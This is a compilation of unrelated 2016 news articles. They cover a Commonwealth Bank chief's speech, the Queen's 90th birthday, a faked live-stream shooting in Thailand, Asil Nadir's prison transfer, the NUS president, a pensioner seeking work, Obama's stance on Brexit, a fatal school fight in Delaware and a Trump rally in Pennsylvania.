Ian Narev, the chief of Australia's biggest bank, said while the bank was committed to acting 'with compassion' when errors were made and improving policies, he vowed that law suits from unreasonable customers would not be settled.

'In some cases we have customers who feel dissatisfied because they are being unreasonable and because they are acting improperly with the Commonwealth Bank and because they hope they will embarrass us into settling in a way which no reasonable Australian would expect us to settle,' Mr Narev said in a speech in Melbourne.

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Commonwealth Bank boss Ian Narev said the bank was committed to acting 'with compassion' when errors were made, but he vowed that law suits from unreasonable customers would not be settled

'In that minority of cases the right outcome is take the criticism, do the right thing, and stick by the rights of our customers and our shareholders.'

Mr Narev accepted though that there had been instances when customers had been left with 'poor outcomes' due to an 'overly bureaucratic processes' from CBA, according to Fairfax Media.

'The vision of the Commonwealth Bank to help secure and enhance the financial wellbeing of people, businesses and communities,' he said.

'However it is inevitable the bank will have some bad relationships with some customers.'

His comments were made as part of a wide-ranging speech he gave at a business lunch in Melbourne on Thursday.

Mr Narev's speech came as the Australian Bankers' Association - of which CBA is a member - launched a review into a plethora of their sales techniques and whistleblower protections.

He said during a speech in Melbourne CBA would not be embarrassed into paying compensation to undeserving customers who were being 'unreasonable' and trying to 'embarrass' the company

It follows the government's announcement of extra funding and beefed up powers at the corporate regulator, ASIC, to calm community concerns following a string of scandals.

Mr Narev also touched on how a royal commission into banks could ruin the economy and have an effect on living standards after Labor vowed to launch a commission if they win power at the next election.

'It's not the right policy for an industry with this record, with this approach and with this regulation,' he said.

'The fact the industry... is acknowledging and fixing mistakes and also that we have such strong regulators makes the analogy with other circumstances in which royal commissions have been recommended as baseless.'

Mr Narev accepted though that there had been instances when customers had been left with 'poor outcomes' due to an 'overly bureaucratic processes' from CBA




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There simply wasn't room on the cake for all the candles. But no matter. Last night the entire United Kingdom became one giant birthday cake as the Queen lit the first of over a thousand beacons stretching from Cornwall to the Shetlands in honour of her 90th.

No British monarch has reached this milestone before. Had the Queen been any other public servant, of course, she might have retired at 60, back in 1986  with Mrs Thatcher still in Number Ten and Ronald Reagan in the White House. But hers is a job for life, continuing today with a lunch for President Barack Obama and the First Lady.

Yesterday was a moment to pause and celebrate not just a birthday but the fact that we have one of the greats on the Throne today.

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There simply wasn't room on the cake for all the candles. But no matter. Last night the entire United Kingdom became one giant birthday cake as the Queen lit the first of over a thousand beacons stretching from Cornwall to the Shetlands in honour of her 90th

Had the Queen been any other public servant, of course, she might have retired at 60, back in 1986  with Mrs Thatcher still in Number Ten and Ronald Reagan in the White House. But hers is a job for life, continuing with a lunch for President Barack Obama and the First Lady

Yesterday was a moment to pause and celebrate not just a birthday but the fact that we have one of the greats on the Throne today

Hence the huge crowds lining the streets of Windsor to salute the record-breaking monarch on her historic birthday walkabout  followed by a new nonagenarian variation: the driveabout.

There were more bumper crowds last night as the Prince of Wales welcomed his mother to Windsor Great Park to ignite her beacon, before last night's family dinner at the castle. The 'EIIR' brazier was one of four on the famous Long Walk. There were echoes of another age as the Prince kissed the Queen's white-gloved hand. And then he permitted himself a little 21st-century informality.

'Your Majesty  Mummy,' he announced. 'The beacon will represent the love and affection in which you are held throughout this country and the Commonwealth. Long may you reign over us!' That, in short, was the theme of the entire day.

Gun salutes and bells rang out across the country during the day. In Parliament, the Prime Minister led tributes to a 'steadfast' monarch, a 'rock of strength for our nation'. The Prince of Wales recited Shakespeare on radio and narrated last night's BBC1 documentary.

But it was at Windsor, the place she truly calls home, that the birthday girl chose to celebrate yesterday. As the sun came out on cue, and with the biggest Royal Standard in the flag locker flapping from the Round Tower, the National Anthem announced the appearance of the Queen and Prince Philip at the top of Castle Hill at midday.

The Band of the Coldstream Guards burst into 'Happy Birthday' while the Queen, dressed in a silk dress and matching coat of 'spring-grass green' was handed bouquet after bouquet. No one was entirely sure what to sing at the 'dear' bit. Some opted for 'Your Majesty', others a less reverential 'dear Queenie'.

Crowds gather to see the Queen light a beacon to celebrate her 90th birthday yesterday in Windsor

A little girl waves the Union flag as the Queen passed by as part of her 90th birthday celebrations in Windsor yesterday

Hence the huge crowds lining the streets of Windsor to salute the record-breaking monarch on her historic birthday walkabout  followed by a new nonagenarian variation: the driveabout

Britain's Queen Elizabeth II greets wellwishers during a 'walkabout' on her 90th birthday in Windsor, west of London

Gun salutes and bells rang out across the country during the day. In Parliament, the Prime Minister led tributes to a 'steadfast' monarch, a 'rock of strength for our nation'. The Prince of Wales recited Shakespeare on radio and narrated last night's BBC1 documentary

Donna Werner, 63, had flown from Connecticut, USA, for this moment, and was wearing a shiny cardboard crown. It seemed to do the trick as the Queen stopped to say 'hello'. 'I love your crown,' added her lady-in-waiting, Jennifer Gordon-Lennox.

Elsewhere, the Duke of Edinburgh was doing what he has always done  ensuring that the other side of the road did not feel left out. For more than six decades he has been lifting disappointed children over barriers on his side of the road to enable them to reach the Queen. He was doing it again yesterday. In the midst of all the Hallelujahs for the Queen's 90th, it went almost unremarked that he will be 95 in June.

For veteran royal-watchers, there was a sense of deja-vu. This was the same spot where the Queen came for a walkabout on her 80th birthday. Some reflected that she seemed to look younger this time around.

The only difference was the size of the crowd. The numbers were so large that a different royal route had been organised. Some had spent the previous night on the public benches outside the castle, among them Maria Scott, 45, from Newcastle. Now a connoisseur when it comes to public seating, Maria remarked ruefully, that these had not been nearly as comfortable as those outside St Mary's Hospital, Paddington, where she had camped out for the birth of Princess Charlotte last year.

The Duke of Edinburgh was doing what he has always done  ensuring that the other side of the road did not feel left out

Britain's Queen Elizabeth II and Prince Philip, the Duke of Edinburgh wave to well-wishers during her 90th birthday celebrations in Windsor

For veteran royal-watchers, there was a sense of deja-vu. This was the same spot where the Queen came for a walkabout on her 80th birthday. Some reflected that she seemed to look younger this time around

The only difference was the size of the crowd. The numbers were so large that a different royal route had been organised

In front of the statue of Queen Victoria, her great-great-granddaughter unveiled a plaque marking the new Queen's Walkway, a four-mile trail linking the main landmarks of this town. She then moved on to the 17th-century Guildhall

In front of the statue of Queen Victoria, her great-great-granddaughter unveiled a plaque marking the new Queen's Walkway, a four-mile trail linking the main landmarks of this town. She then moved on to the 17th-century Guildhall.

Here, the Queen was introduced to 20 fellow members of the 1926 club. 'You were all born in a lovely vintage year,' she remarked with an impish grin to Rosamund Fulawka, also 90 this month. None of this lot was going to disagree with that. Like the Queen, June Martin (90 next week) still enjoys working, in her case at a day centre for the elderly. 'I told her, 'We all think you're wonderful',' said June afterwards. 'She looked very bashful.'

In the centre stood Her Majesty's three-tier birthday cake, made  at the request of the Palace  by Nadiya Hussain, winner of the Great British Bake-Off. It looked spectacular but had no candles. As was later pointed out, if Nadiya had been required to accommodate the requisite number of candles, she would have had no room left for the icing.

Her main worry was its consistency. Viewers of the ITV film Our Queen At Ninety will have seen a golden moment at last year's centenary of the Women's Institute when the Queen was invited to cut a fruitcake. Whereupon her knife got stuck. The incident had been preying on Nadiya's mind, so she decided against a similar recipe. 'I don't like fruitcake anyway and my worry was it wouldn't cut,' she explained. The same thought had crossed the Queen's mind. 'Does it cut?' she asked.

Queen Elizabeth II and Prince Philip unveil a plaque marking The Queen's Walkway at the foot of Castle Hill, Windsor

Thousands of people greet the Queen on her 90th birthday. One Union flag, with Her Majesty's face in the middle, was hung over the barrier

Such are the deep, personal connections between the House of Windsor and the people of the town. That is why the Queen wanted to see as many of them as possible yesterday. But there was no way that she and the Duke could be expected to walk all the way

To relief all round, the blade sank easily into Nadiya's lower tier. Here was a moment right up there with her Bake-Off victory. 'That was the icing on the cake  if you'll forgive the pun,' she said. Meanwhile, the Duke teased the assembled town hall worthies. Feeling the rabbit fur on the robes of Councillor Judith Diment, he joked: 'I can smell the mothballs!' Windsor is extremely proud of being a royal borough; most of these councillors had met the royal couple before. Eileen Quick, the Mayor of Windsor  an office occupied by her father and grandfather before her  had met the Queen as a little girl. Yesterday, she was her host.

Such are the deep, personal connections between the House of Windsor and the people of the town. That is why the Queen wanted to see as many of them as possible yesterday. But there was no way that she and the Duke could be expected to walk all the way.

It was these two who 'invented' the royal walkabout, in 1970, when they abandoned protocol in Wellington, New Zealand, and walked off the red carpet for an impromptu chat with complete strangers. It's been part of royal life ever since. And yesterday we had a glimpse of how the Queen will tackle long walkabouts in future. Throughout her reign, the Queen has had a vehicle called the State Review, a mobile dais for viewing big parades. In the past, it has simply been an open-top Land Rover with the rear seats removed.

Last year, Range Rover designed a new version. It has more standing room and an electric motor to allow it to cruise silently and slowly without exhaust fumes (so it can operate in an enclosed space). Expect to see more of it in future. Like the Popemobile, the Queenmobile has arrived

Moving no faster than a window shopper, the royal couple edged their way through the precinct. The crowds were so deep that the Queen was unable to see the lifesize model of herself in Snappy Snaps. Nor could she glimpse the special display of royal books in Waterstones

Finally, the Queenmobile turned off up a side road where the State Bentley was waiting to take the Sovereign back up to the castle. Drizzle cake, beacons, church bells, bunting and a trip to the shops. What a gloriously British way to enter one's tenth decade

Last year, however, Range Rover designed a new version. It has more standing room and an electric motor to allow it to cruise silently and slowly without exhaust fumes (so it can operate in an enclosed space). Expect to see more of it in future. Like the Popemobile, the Queenmobile has arrived.

Moving no faster than a window shopper, the royal couple edged their way through the precinct. The crowds were so deep that the Queen was unable to see the lifesize model of herself in Snappy Snaps. Nor could she glimpse the special display of royal books in Waterstones.

Finally, the Queenmobile turned off up a side road where the State Bentley was waiting to take the Sovereign back up to the castle. Drizzle cake, beacons, church bells, bunting and a trip to the shops. What a gloriously British way to enter one's tenth decade.
A former Thai gangster who 'shot' himself in the head during a live stream on Facebook has been accused of doing it to get more online followers by poiice who arrested him on firearms charges.

Heavily-tattooed retired street thug Nae Wat Dao astonished his hundreds of thousands of followers when he apparently put a gun to his head and pulled the trigger during a live stream.

But he is now facing firearms charges in Bangkok after police accused him of pulling the stunt to boost his online fame.

Heavily-tattooed retired street thug Nae Wat Dao astonished his hundreds of thousands of followers when he put a gun to his head and pulled the trigger during a live stream from his home in Bangkok

Nae was admitted to hospital after the 'shooting' on Saturday with a minor wound to the right side of his head.

Medics at the Siriraj Hospital confirmed to police that Nae had not suffered a gunshot wound indicating the fake shooting was a cynical stunt by Nae to attract more followers.

Police chief Maj. Gen. Uthasin Ruangdet told local media: 'The news said the gun was used on his head.'

He added: 'If that had been true, there would definitely have been a severe wound.

Medics at the Siriraj Hospital confirmed to police that Nae had not suffered a gunshot wound indicating the fake shooting was a cynical stunt by Nae to attract more followers

'But from the informal conversation with the doctor, it was confirmed no stitches were made, as it was only a scratch.'

Police say Nae - now said to be a patient at a psychiatric hospital - has been charged with illegal possession of a firearm.

Deputy Police chief Pongsapat Pongcharoen said his Technology Crime Suppression Division is investigating.

He said Nae - who has more than a million Facebook followers - will have to face the consequences of his conduct whether in psychiatric care or in the courts.

The 26-year-old former street gangster's video is no longer visible online as it was streamed live.
Disgraced tycoon Asil Nadir (pictured) was accused of buying his way to freedom last night as he jetted off to Turkey to serve out the rest of his jail sentence there

Disgraced tycoon Asil Nadir was accused of buying his way to freedom last night as he jetted off to Turkey to serve out the rest of his jail sentence there.

The crook secured an extraordinary prison transfer deal after handing over 5m to devastated investors in his collapsed empire.

He hopes to celebrate his 75th birthday next month in his homeland in northern Cyprus and is already negotiating a move from mainland Turkey.

Once there he expects to serve the remainder of his term under house arrest in his 3m villa on the Mediterranean island.

The decision to release him from a British prison came less than four years after he was jailed for a decade at the Old Bailey.

His conviction followed a complex trial and 22-year Serious Fraud Office inquiry that is estimated to have cost taxpayers more than 20million.

Last night, news of his release provoked anger among investigators and some of the tens of thousands of investors left out of pocket in 1990.

One retired police officer involved in the original inquiry said: People will say he has bought his way to freedom. It was always on the cards.

I dont think he has ever been truly sorry for what he did. His behaviour has disgusted those who have seen first-hand the misery he left behind.

Nadir was escorted onto scheduled Turkish Airlines flight TK986 from Heathrow Airport to Istanbul yesterday evening.

He has spent the last few days at Wandsworth Prison in South London, waiting for confirmation from the Ministry of Justice that the deal will go ahead.

In addition to the 5m compensation, he paid a further 2m to cover the 1,987,743 Legal Aid bill he racked up during his trial.

The size of the bill provoked outrage as he spent the trial living in a 23,000-a-month mansion and arriving at court in a chauffeur-driven car.

His glamorous second wife Nur, 43 years his junior, wiled away the time shopping in designer West End stores and riding horses before leaving the country when he was jailed.

Her mid-trial birthday present from her husband - a Range Rover Vogue - had a personal number plate AN02NUR, standing for Asil Nadir love to Nur.

It is also understood that he has abandoned any prospect of appealing against conviction or sentence and gave up his British passport.

Nadir returned to Britain from his home in Northern Cyprus to clear his name in 2010 after fleeing in 1993 before he went on trial.

In August 2012 he was convicted of stealing 28.6million from his Polly Peck International textile empire.

The jury found he raided the company to pay for his multi-million property empire, racehorses, antiques, fast cars and jewellery.

Giving him two years to settle a 5m compensation bill, Mr Justice Holroyde rejected his claims of poverty.

But the fraudster escaped a colossal potential compensation claim of 61million for pensioners and shareholders who lost their life savings.

Nadir left under the Prisoner Transfer Agreement. This allows foreign criminals convicted of crimes in the UK to be forcibly removed to serve their sentences overseas. Usually they must have at least six months to serve.

The decision to release him from a British prison came less than four years after he was jailed for a decade at the Old Bailey (pictured)

The idea is that they will serve their sentences back home, with the taxpayer no longer paying to house them. It costs around 40,000 a year to keep a prisoner behind bars in the UK.

A Whitehall source defended the move, saying: Rather than having him squandering UK taxpayers money, we would sooner have him off our books.

Sending him back is a win-win  we have got the money he owed and he is not costing us any more money.

Nadir should now serve the remainder of his prison term in a Turkish jail but the final decision on his exact conditions rests with the authorities over there.

His solicitors Bark & Co took to Twitter after his release to crow: Wishing our client Asil Nadir all the best, on his return home. Currently in the air.

A Ministry of Justice spokesman said: It is right that foreign criminals are properly punished but not at the expense of British taxpayers.

This Government is committed to removing foreign criminals to their own countries.
Malia Bouattia has worked to scupper efforts to curb radicalisation among students

Leading universities are threatening to cut ties with the national students' body after a key figure in a campaign to sabotage counter-terrorism measures in higher education was appointed its president, it was reported last night.

Students at the University of Oxford had declared that they would seek to vote to disaffiliate from the National Union of Students (NUS) as they felt it no longer spoke for them following the appointment of Malia Bouattia, The Times reported.

Students from the University of Cambridge have allegedly said they will also request a referendum on their membership.

It was also claimed students are planning campaigns to cut ties with the NUS at the universities of Durham, Edinburgh, York, Westminster, Aberystwyth and London South Bank, as well as the London School of Economics and King's College London.

Currently representing most of the country's 2.3million students, a mass withdrawal of memberships would be a severe blow to the NUS, which was formed in 1922.

Twenty-eight-year-old Miss Bouattia won a shock victory in this week's union elections, narrowly ousting the incumbent president. She is one of the organisers behind the NUS Students Not Suspects campaign, which tells Muslim students they are being victimised and spied on.

She has spoken twice alongside Moazzam Begg, director of Cage, who told youngsters at one event that they are being treated like the Jews in Nazi Germany. Three years ago she publicised an event on Facebook which featured the family of Munir Farooqi, a former Taliban fighter jailed for trying to recruit jihadi fighters.

In January a Daily Mail investigation exposed how Cage representatives had appeared in at least 13 student events in the first term of the academic year and have told students to boycott the Government's Prevent strategy, which obliges university staff to monitor students for signs of extremism.

Miss Bouattia, previously the NUS black students' officer, helped organise the Students Not Suspects tour. Begg spoke at three of its events and appeared alongside Miss Bouattia at a further two.

At one, called 'Preventing Prevent', she instructed students to infiltrate Prevent training and appeared to encourage a sense of racial tension, referring to terrorism as 'political violence' and blaming it on 'white supremacy'.

She said: 'Even when we look at acts of violence that are committed  whether you want to call it political violence or not  again if you want to go to the root of the problem it just comes back to the state and essentially, you know, white supremacy that's at work.'

She said the fact that David Cameron condemned the NUS for allying itself with Cage was a 'sign the organisation is on the right path'. Cage posted a Twitter message congratulating her on her election victory.

Students at the University of Oxford (pictured) had declared that they would seek to vote to disaffiliate from the National Union of Students (NUS) as they felt it no longer spoke for them following the appointment of Malia Bouattia, The Times reported

Miss Bouattia sat on the NUS executive council while studying for a masters in postcolonial theory and languages at Birmingham University.

She has said that her family fled persecution in their native Algeria when she was aged seven.

It is understood she attended the outstanding-rated Lordswood Girls' School, a comprehensive in Birmingham which recently converted to an academy. She has until recently lived with her parents and two sisters in a 250,000 four-bedroom semi in Birmingham.

Her father appears to work for a telecoms company, while one of her sisters trained in pharmacy and has worked for the NHS.

She has been criticised for previously calling Birmingham University a 'Zionist outpost' but has denied being anti-Semitic.

The NUS said yesterday: 'The president-elect has experienced the devastating effects of terrorism and persecution first-hand, and it's this experience and resulting strength of character that saw her elected.

'NUS will continue, with its new president, to encourage students to oppose inequality, oppression  including racism  and injustice.'
Jack Smith (pictured) has struggled to get back into employment at the age of 81 after discovering his state pension is not enough to live off

He served his country in the Royal Navy and saved lives as a firefighter before moving into a range of other jobs.

But Jack Smith has struggled to get back into employment at the age of 81 after discovering his state pension is not enough to live off.

He has visited his local job centre, 14 different employment agencies and sent off dozens of job applications, but no one has taken him on.

A desperate letter to his local newspaper about his predicament delivered a lifeline when a member of the public set up a crowdfunding page which has so far raised 545.

But he is still unable to find work and believes his lack of IT skills is counting against him.

I am still fit, healthy and active. I am looking for anything at all, anything I can turn my hand to, said the widower from Plymouth, Devon.

I am looking for anything I can handle. Obviously I cannot do the building trade like I did before, going up and down ladders. But I have got money problems and the only way I can solve it is to get work.

Mr Smith, who retired when he was 71, admits his serious financial problems are of his own making.

He took out a loan but then agreed to shoulder a debt his daughter had when she couldnt afford to pay it off, leaving himself 3,000 in the red.

He lives modestly, but with 65-a-week on rent for his ground floor flat and 55 on groceries on top of the debt repayments, his state pension of around 120-a-week is not enough to live on. He doe not have any private pensions.

Mr Smith spent ten years as an able seaman in the Royal Navy, which he joined straight from school in 1950 when he was 15.

Afterwards, he switched to the fire service for another ten years before becoming a painter and decorator and later a plumber and electrician.

Jack Smith with his ex-wife Ellen in 1954, on their wedding day (pictured). He has visited his local job centre, 14 different employment agencies and sent off dozens of job applications, but no one has taken him on

The father-of-two, who has five grandchildren and ten great-grandchildren, thought getting work would solve his problems but no one has hired him despite two months looking for a job.

Everything is done online now, so all they do is sit me in front of a computer but unfortunately Im computer illiterate, he said.

Im afraid at the moment Im feeling a bit down. I wanted the job centre to tell me there is this and that. I mentioned retail but I did not know whether I would be good at that.

Cleaning I could do. I dont mind what it is and Im not afraid to get my hands dirty, as long as Im physically able.

In his letter last week, Mr Smith gave his age and explained he had serious financial problems, adding: I am asking please if anyone out there has any work suitable for me.

Please get in touch, I am still fit, healthy and active. Thank you.

A desperate letter to his local newspaper about his predicament delivered a lifeline when a member of the public set up a crowdfunding page which has so far raised 545 (right)

It triggered a flood of offers to help with job applications and a JustGiving page was set up by shop assistant Stacey Cowling.

The 31-year-old wrote on the page: I look to our community to help Mr Smith.

He has worked in the Royal Navy and in the fire service. He has shown spirit and gumption and deserves support. I hope it helps, its just such a sad story.

Donors include Tasha Plackett, 27, who said: When I read about him it made me cry.

Meanwhile Mr Smith, whose wife, Ellen, died in 2003, is still looking for work  but said his spirits had been lifted by the public response.

My mind is in a whirl at the moment with all the kindness out there. It is really quite heartening, he added.
President Barack Obama flew into a storm of protest last night over his decision to urge Britain to stay in the EU.

Senior Eurosceptic MPs also vented their fury at the Prime Minister and Defence Secretary over a warning that there would be celebrations by Moscow and the Islamic State 'in Raqqa' if the UK voted for Brexit.

No 10 and the White House have orchestrated a pro-EU blitz to coincide with the US President's visit.

Ex-Tory leader and Cabinet minister Iain Duncan Smith led a chorus of protest at Britain being told to accept open borders when the US does not do the same

Mr Obama is expected to say America and the rest of the world benefits hugely from Britain being a strong voice in the EU.

He will drive his claims home at a news conference flanked by David Cameron, and in media articles.

But ex-Tory leader and Cabinet minister Iain Duncan Smith led a chorus of protest at Britain being told to accept open borders when the US does not do the same.

Mr Obama is expected to say America and the rest of the world benefits hugely from Britain being a strong voice in the EU

Citizens of Mexico, part of the North American Free Trade Agreement with the US and Canada, have no automatic right to enter America, in contrast to the 500million EU nationals free to come to Britain.

Mr Duncan Smith said: 'President Obama and every one of his predecessors have ferociously protected the sovereignty of the USA, and I only wish we could say the same of our leaders.

'What I do find strange is that he is asking the British people to accept a situation he would not recommend to the American population.'

He suggested Mr Obama would not argue for the US to accept being bound by the judgments of a foreign court or taxes being imposed without the approval of Congress.

The MP for Chingford and Woodford Green said: 'If he believes it would be unacceptable for the American people  those he is actually elected to guide  I fail to see how it is appropriate for him to recommend that the British people continue to relinquish their right to democratic self-governance.'

He also rejected Defence Secretary Michael Fallon's claim yesterday that leaving the EU 'will only bring comfort to our enemies, whether they are sitting in Moscow, or Daesh (IS) terrorists sitting in Raqqa'.

Mr Duncan Smith said: 'The biggest gift to Isis has been the EU's open-borders policy, which allows terrorists to slip into Europe undetected and carry out attacks.

'The truth is that the cornerstone of Britain's defence is Nato and our intelligence relationship with the US. Both are strong and nothing to do with the EU.'

Mr Cameron, who defended Mr Obama's right to speak out, said key issues when they hold talks at No 10 today will be the EU referendum and the battle against IS.
A 16-year-old girl, who died after getting into a fight with another girl over a boy, was jumped by bullies who slammed her head against a bathroom sink at a school in Delaware Thursday morning.

Friends identified her as Amy Inita Joyner-Francis to local media, according to The News-Journal.

The fight broke out around 8.15am before classes at Howard High School of Technology, a vocational school in Wilmington, Delaware.

Students who witnessed the deadly scuffle said that the 16-year-old and another girl started fighting in one of the women's bathrooms over a boy, when a gang of other girls jumped the victim.

At one point, someone banged her head on a sink, according to witnesses who spoke with 6ABC.

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Friends have identified the victim as Amy Inita Joyner-Francis (left and right), 16, who died after being attacked by a group in the women's bathroom at Howard High School of Technology in Wilmington, Delaware, Thursday morning

Paramedics (pictured) wheeled the student out of the school. Medics performed CPR on the victim before a helicopter arrived to transport her to a hospital

Amy was flown by helicopter to A.I. DuPont Children's Hospital in critical condition. She was later pronounced dead at the hospital

'There was an altercation that initially started between two people, and my understanding is that additional individuals joined in against the one person,' Gary Fullman, chief of staff to the Wilmington mayor, told KTLA.

Kaya Wilson was in a stall when the fight broke out and spoke with the local news station after leaving school.

'She was fighting a girl, and then that's when all these other girls started banking her -like jumping her - and she hit her head on the sink,' Wilson said.

Amy was flown to A.I. DuPont Children's Hospital in critical condition, where she was later pronounced dead.The cause of death has not been confirmed

News media outlets quoted Police Chief Bobby Cummings as saying that two female students were taken to police headquarters for questioning.

'My heart bleeds for the family,' Mayor Dennis Williams told a news conference.

Sherry Dorsey Walker, a Wilmington city councilwoman, says she has known the victim and her family for quite some time and had been asked by the family to speak on their behalf.

Walker says the family is asking for spiritual healing in the community and no retaliation. She says they're also 'asking people to just be calm and pray for them'.

Two female students are being interviewed by police, a spokesman for Wilmington's mayor confirmed

The cause of the death for the student is still unknown. Above, a crime scene vehicle at the school on Thursday

Mayor Dennis William was emotional as he announced Joyner-Francis' death. He said: 'My heart bleeds for the family'

The councilwoman described the victim as 'a wonderful human being', adding that 'her loss is a big void, not just in the family'.

Nathaniel Kenyatta, a freshman at the school, was friends with the victim and spoke to Delaware Online on Thursday.

He says he met her in a HVAC class and that she was an easy person to talk to.

'She was very open,' he said. 'I feel bad for the people who have known her for years.'

A vigil was held for Amy on Thursday evening.

Her friends and neighbors knew her as the quiet teen who would focus on her homework.

Nik Stryminski told the News-Journal that Amy had kept him safe and out of a fight earlier this school year.

When he and another student were getting ready to fight she stepped in, backed him into a corner and calmed him down.

He said: 'She didnt believe in fighting, and the craziest thing is she died in a fight.'

Stryminski believes Amy went into the bathroom not to fight but to 'talk things out'.

Troy Johnson, a sophomore at Howard, said Amy was a good influence to her peers with her calm personality, he said.

'If I were to have kids Id want them to hang around someone like her,' he told the News Journal.

Another student said Amy was often the one who calmly counseled her friends.

Amil Gibbs, a sophomore at Howard, told the News-Journal that she would sit with Amy during lunch and tell her about problems she had in school.

And Amy would encourage her to 'be strong'.

From Twitter to Facebook #RIPAmy is trending as several people across the nation have called her death senseless.

Actress Paige Hurd tweeted that she is 'hurt' by the loss of such a young life and her 'heart is so heavy for her and her family'

Another user tweeted about the plight of a world where a teenager 'gets murdered by her classmates in a school bathroom while other classmates record it'

Some said the worst part about Amy's senseless death is to know that 'we won't learn from this'

And others are calling for justice to be served against the girls who are responsible for Amy's death

On social media, many say they can't believe other students didn't intervene to help her.

Others said it's sickening to know that students stood there and watched and recorded as the fight erupted all because of a boy.

One Twitter user said she prays 'for this generation' and hopes 'justice will be served', while another said the world needs a 'cultural shift'.

Howard isn't known as a violent school and Police Chief Cummings said he did not know of any other problems in recent days.

Superintendent Victoria Gehrt called Amy's death an 'unbelievable tragedy for the family'. She also said that despite what happened, Howard High School of Technology 'is a safe school for our students'.

School officials canceled classes Thursday and it's unclear whether the school will reopen on Friday.

A mayoral debate on public safety that was scheduled to take place at the school Thursday night was also canceled.

A student cries in front of Howard High School of Technology on Thursday after a city official announced a student had died after the confrontation inside the school
New Yorkers 'threw him around like a rag doll,' he boasted of Cruz, joking that the Texan 'doesn't even know where Harrisburg is'

Donald Trump called on his two rivals to clear out of the Republican presidential race Thursday night, saying he's the only GOP White House hopeful who can possibly win the support of a majority of Republican National Convention delegates.

'Honestly, Cruz and Kasich have no path to victory,' he said in Harrisburg, Pennsylvania five days before the Keystone State's primary election. 'It's over. It's over.'

Trump, Texas Sen. Ted Cruz and Ohio Gov. John Kasich are the last survivors of a field that began with 17 contenders.

Cruz is running in second place on the strength of what Trump called a 'crooked' delegate allocation process, but the real estate tycoon insisted he's 'kicking a**' anyway.

KICKING A**: Donald Trump said he's crushing the competition in the Republican delegate race despite a 'crooked' system that's stacked against him

PENNSYLVANIA: Just days before a crucial primary, Trump spoke to thousands at an agricultural arena in the state capital of Harrisburg

BIKERS AND THE BERN: A 'biker for Trump' stared down a pro-Bernie Sanders protester on Thursday

'Cruz said Kasich should get out because he has no path' to victory, Trump told a rally audience estimated at 7,000 people in an agricultural arena whose dirt floors are more accustomed to seeing livestock than voters and where an alpaca show was taking place next door.

'I mean, not even close. He's won one out of 38 [states].'

'Well, if Cruz has only won, what? Ten or eleven? I've won 22 or 23,' Trump said. 'Millions of votes ahead. I think they both should get out. What are they doing?'

The Texan has insisted he's going to take his campaign to the nominating convention in Cleveland and is unwilling to surrender.

That position is an awkward one for Cruz: He said just a few weeks ago that Kasich should quit the race because he was waging a dead-end, quixotic White House bid.

'I think any candidate that doesn't have a path to winning  that that's the time when you should suspend your campaign,' he told WTMJ Radio in Wisconsin on April 5.

Trump seized on the apparent hypocrisy Thursday afternoon and carried the argument with him to Pennsylvania's capital city.

'Senator Ted Cruz has been MATHEMATICALLY ELIMINATED from race,' he wrote on Twitter. 'He said Kasich should get out for same reason. I think both should get out!'

'Cruz said Kasich should leave because he couldn't get to 1237,' a later tweet read. 'Now he can't get to 1237. Drop out LYIN' Ted.'

MYSTERY: Pennsylvania voters will be choosing delegates, not candidates, on Tuesday, leading Trump's aides to hand out cards explaining which delegate candidates are loyal to the billionaire

CROOKED AND LYING? Trump hammered 'crooked Hillary Clinton' and 'lyin' Ted Cruz,' his derogatory nicknames for the senator who's challenging him in the primary and the former secretary of state he hopes to tangle with in the fall

Thursday night saw a Trump first: the billionaire introducing himself via a public address system a few minutes after his appointed starting time, despite thousands of people still waiting in line for Secret Service screening.

'I'm supposed to wait a half an hour because there's thousands of people trying to get in,' he announced through the arena's speaker columns. 'But I can't do that to you so we're going to come on right now!'

Trump typically waits until his audience reaches critical mass before taking the stage.

'I said "Let's start a little bit earlier. To hell with this!"' he declared once he came to the podium.

Trump blasted the Republican National Committee's delegate selection process, a patchwork quilt of primary elections, statewide caucuses and political-insider conventions, while his surrogates were busy in Florida trying to persuade party bosses that his volatile stage act would soon recede into a more publicly palatable persona.

'When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose,' Trump's top delegate-chaser Paul Manafort said in a private briefing of GOP leaders, according to the Associated Press.

'The part that he's been playing is evolving into the part that now you've been expecting,' Manafort said, 'but he wasn't ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change.'

Trump sounded like the same old combative Donald in Harrisburg.

MEANWHILE IN FLORIDA ... Paul Manafort, the senior Trump adviser in charge of rounding up convention delegates, tried to persuade GOP bosses that Trump is only putting on an act

THAT WAS THEN: Cruz said just weeks ago that John Kasich should quit the race because he had no path to victory  something that's now being said about him

PILING ON: Trump went after Cruz on Thursday for staying in a race he says the Texan can't win

WELCOME TO THE FARM: Just an hour's drive from Amish country, the Pennsylvania Farm Show Complex & Expo Center hosted both a Trump rally and an alpaca show on Thursday

'The system is rigged. The voting is rigged. The whole deal is crooked, 100 per cent,' he said. 'Almost as crooked as crooked Hillary. It's a crooked deal.'

'And that's why you have a case where I go in and win with the vote, and these guys go and they buy delegates. They buy them dinners and they send them to hotels. The whole thing is a sham.'

'Lots of changes are being made,' he claimed, although the RNC has shown no sign of altering its rules.

'With all that said, we're winning by a lot. We're kicking a**, I tell you. Believe me.'

Tuesday's Pennsylvania primary is among the most unconventional on the schedule. Voters will be asked to directly choose national convention delegates by name, without any official guidance about which candidate each one is 'pledged' to support.

Trump staffers handed out postcards Thursday night bearing the names of the campaign's preferred delegates, as news emerged that the billionaire was spending $2 million on ads in Pennsylvania.

The candidate brought his usual bluster, calling Cruz 'a professional liar' and harping on 'crooked Hillary Clinton' as a look-ahead to what he hopes will be a general election campaign with his name at the top of the Republican ticket.

'Is there anybody more crooked than this woman? Is there anybody?' he asked.

Bernie Sanders, the Democrats' second-place candidate, has been 'tough on her,' Trump observed. 'In fact, I'd like him to keep going because the longer he goes, the more I'm gonna like it.'

Trump said he was joining Sanders in declaring that Clinton is 'not qualified' to be president.

'I think she's qualified, I guess, but that doesn't mean she's good,' he said initially.

FEEL THE HANDCUFFS: A protester was led away by police during Trump's nearly hour-long rally speech

But moments later Trump felt the Bern.

'He said she's not qualified to be president,' Trump said. 'Now what he meant is  because her judgment is so bad. So Bernie Sanders, not me, said she's not qualified. So now I'm going to say: She's not qualified, okay?'

'It's over for Bernie,' he concluded, but 'really I want to run against Hillary.

'I don't want to run against Bernie. I want to run against crooked Hillary Clinton! We're going to beat her so bad!'

But first Trump has to collect enough delegates to send Cruz and Kasich packing.

He's hoping Pennsylvania will be a repeat of New York, where he won a decisive April 19 victory with more than 60 per cent of the vote.

